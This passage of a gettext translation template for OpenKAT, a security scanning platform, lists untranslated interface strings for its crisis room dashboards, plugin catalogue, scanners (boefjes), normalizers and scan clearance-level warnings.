crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/views/mixins.py\nmsgid \"Location\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#, python-format\nmsgid \"Show details for %(ooi)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Risk score\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/normalizer_detail.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/report_asset_overview.html tools/forms/boefje.py\n#: tools/forms/finding_type.py rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_findings_list.html rocky/templates/scan.html\nmsgid \"Description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Recommendation\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/vulnerability_report/report.py\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail_origins_inference.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Source\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Impact\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Options for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Show description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Hide description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position up\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position down\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Rerun report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\nmsgid \"Delete item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\nmsgid \"Go to objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Objects \"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete '%(name)s' from this dashboard?\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: katalogus/templates/plugin_settings_delete.html\n#: katalogus/views/plugin_settings_delete.py\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/partials/delete_ooi_modal.html rocky/views/ooi_delete.py\nmsgid \"Delete\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete dashboard '%(dashboard)s'? All the items on \"\n\"the dashboard will be deleted as well.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Actions for adding dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Add item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: tools/view_helpers.py rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html rocky/views/ooi_add.py rocky/views/ooi_list.py\n#: rocky/views/ooi_view.py rocky/views/upload_csv.py rocky/views/upload_raw.py\nmsgid \"Objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Add dashboard item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"\"\n\"To  add a <strong>report section</strong>, go to the history page and open a \"\n\"report. Then go to the section that you want to add to your dashboard and \"\n\"press the options button next to the section name to create a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Go to report history\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"    Add %(item_type)s to dashboard\\n\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"Add these %(item_type)s with the selected filters to the dashboard of your \"\n\"choice.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: katalogus/templates/partials/no_enabling_permission_message.html\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"explanation\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"You do not have a custom dashboard yet\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"In order to add these %(item_type)s to a dashboard, you first need to create \"\n\"a dashboard. Please add a dashboard in the crisis room of your organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Add to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Go to crisis room\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Add report section to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order to add this report section to a dashboard, you first need to create \"\n\"a dashboard. Please create a dashboard in the crisis room of your \"\n\"organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Report must be scheduled for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order for dashboard information to be updated on a regular basis instead \"\n\"of showing static data, the report should be scheduled. The frequency of the \"\n\"schedules recurrence determines how fresh the data on the dashboard will be.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Applied filters\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Object types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: katalogus/templates/change_clearance_level.html onboarding/forms.py\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/boefje.py\n#: tools/forms/ooi.py rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html rocky/views/mixins.py\nmsgid \"Clearance level\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/views/mixins.py\nmsgid \"Clearance type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Input objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Show all objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"No filters applied\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_section_action_button.html\nmsgid \"Add section to dashboard\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"\"\n\"The KATalogus has an unexpected error. Check the logs for further details.\"\nmsgstr \"\"\n\n#: katalogus/client.py\n#, python-format\nmsgid \"An HTTP %d error occurred. Check logs for more info.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"An HTTP error occurred. Check logs for more info.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this name already exists.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this ID already exists.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Access to resource not allowed\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to see plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to set plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to delete plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to view plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to access the other organization\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to enable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to disable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to create plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to edit plugins\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Show all\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Disabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Enabled-Disabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Disabled-Enabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Filter options\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Sorting options\"\nmsgstr \"\"\n\n#: katalogus/forms/plugin_settings.py\nmsgid \"This field is required.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html\n#: katalogus/templates/partials/plugins_navigation.html\nmsgid \"About plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/katalogus.html\nmsgid \"\"\n\"Plugins gather data, objects and insight. Each plugin has its own focus area \"\n\"and strengths and may be able to work with other plugins to gain even more \"\n\"insights.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/boefjes.html\nmsgid \"\"\n\"Boefjes are used to scan for objects. They detect vulnerabilities, security \"\n\"issues, and give insight. Each boefje is a separate scan that can run on a \"\n\"selection of objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/normalizers.html\nmsgid \"\"\n\"Normalizers analyze the information and turn it into objects for the data \"\n\"model in Octopoes.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html\nmsgid \"\"\n\"Bits are business rules that look for insight within the current dataset and \"\n\"search for specific insight and draw conclusions.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan level\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\nmsgid \"Consumes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to scan the following object types:\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s does not need any input objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Produces\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#, python-format\nmsgid \"%(plugin_name)s can produce the following output:\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s doesn't produce any output mime types.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje variant setup\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/ooi_edit.py rocky/views/organization_edit.py\nmsgid \"Edit\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje setup\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"\"\n\"You can create a new Boefje. If you want more information on this, you can \"\n\"check out the <a href=\\\"https://docs.openkat.nl/developer_documentation/\"\n\"development_tutorial/creating_a_boefje.html\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Save changes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard changes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create variant\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard variant\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create new Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard new Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefjes.html\nmsgid \"Add Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefjes.html katalogus/templates/katalogus.html\n#: katalogus/templates/normalizers.html\nmsgid \"available\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"scan level warning\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"%(plugin_name)s will only scan objects with a corresponding clearance level \"\n\"of <strong>L%(scan_level)s</strong> or higher.\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Scan object\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"The following objects are not yet cleared for level %(scan_level)s, please \"\n\"be advised that by continuing you will declare a level %(scan_level)s on \"\n\"these objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected objects\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html rocky/views/mixins.py\nmsgid \"Object\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Are you sure you want to scan anyways?\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Scan\"\nmsgstr \"\"\n\n#: katalogus/templates/clone_settings.html\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone settings\"\nmsgstr \"\"\n\n#: katalogus/templates/clone_settings.html\n#, python-format\nmsgid \"\"\n\"Use the form below to clone the settings from \"\n\"<strong>%(current_organization)s</strong> to the selected organization. This \"\n\"includes both the KAT-alogus settings as well as enabled and disabled \"\n\"plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus.html\nmsgid \"All plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"KAT-alogus settings\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"\"\n\"There are currently no settings defined. Add settings at the plugin detail \"\n\"page.\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Go back\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"This is an overview of the latest settings of all plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"Latest plugin settings\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"Plugin\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_settings_list.html\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Value\"\nmsgstr \"\"\n\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to process the following mime types:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"This object type is required\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Scan level:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Publisher:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\n#: katalogus/templates/partials/plugin_tile.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"See details\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\nmsgid \"Enable\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Hide filters\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Show filters\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"applied\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Filter plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Clear filter\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/views/change_clearance_level.py katalogus/views/katalogus.py\n#: katalogus/views/katalogus_settings.py katalogus/views/plugin_detail.py\n#: katalogus/views/plugin_settings_add.py\n#: katalogus/views/plugin_settings_delete.py\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"KAT-alogus\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_header.html\nmsgid \"An overview of all available plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/templates/plugin_settings_list.html\n#: katalogus/views/katalogus_settings.py tools/view_helpers.py\n#: rocky/templates/header.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Settings\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Gridview\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Tableview\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Required for\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"report types\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Report types for \"\nmsgstr \"\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"No permission to enable/disable plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"Contact your administrator to request permission.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"This Boefje will only scan objects with a corresponding clearance level of \"\n\"<strong>L%(scan_level)s</strong> or higher. There is no indemnification for \"\n\"this Boefje to scan an OOI with a lower clearance level than \"\n\"<strong>L%(scan_level)s</strong>. Use the filter to show OOI's with a lower \"\n\"clearance level.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"Warning scan level:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"\"\n\"Scanning OOI's with a lower clearance level will result in OpenKAT \"\n\"increasing the clearance level on that OOI, not only for this scan but from \"\n\"now on out, until it manually gets set to something else again. This means \"\n\"that all other enabled Boefjes will use this higher clearance level aswel.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have any objects that meet the scan level of %(name)s. \"\n\"Add objects with a complying clearance level, or alter the clearance level \"\n\"of existing objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have scannable objects for %(name)s. Add objects to use \"\n\"this Boefje. This Boefje is able to scan objects of the following types:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"The form could not be initialized.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"Required settings\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Add\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile.html\nmsgid \"Required for:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Boefje details\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html reports/forms.py\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report types\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"This boefje is required by the following report types.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Go to boefje detail page\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Plugins overview:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin name\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin type\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin description\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/partials/report_header.html\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Actions\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Detail page\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Plugins Navigation\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Boefjes\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Normalizers\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: tools/forms/scheduler.py\nmsgid \"All\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Container image\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The container image for this Boefje is:\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Variants\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"Boefje variants that use the same container image. For more information \"\n\"about Boefje variants you can read the documentation.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Add variant\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"confirmation\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#, python-format\nmsgid \"Variant %(plugin.name)s created.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The Boefje variant is successfully created and can now be used.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Overview of variants\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/plugin_overview_table.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Status\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Age\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan interval\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Run on\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"current\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\nmsgid \"minutes\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Default system scan frequency\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Boefje ID\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Creation date\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Arguments\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The following arguments are used for this Boefje variant:\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"There are no arguments used for this Boefje variant.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Edit variant\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"This Boefje has no variants yet.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"You can make a variant and change the arguments and JSON Schema to customize \"\n\"it to fit your needs.\"\nmsgstr 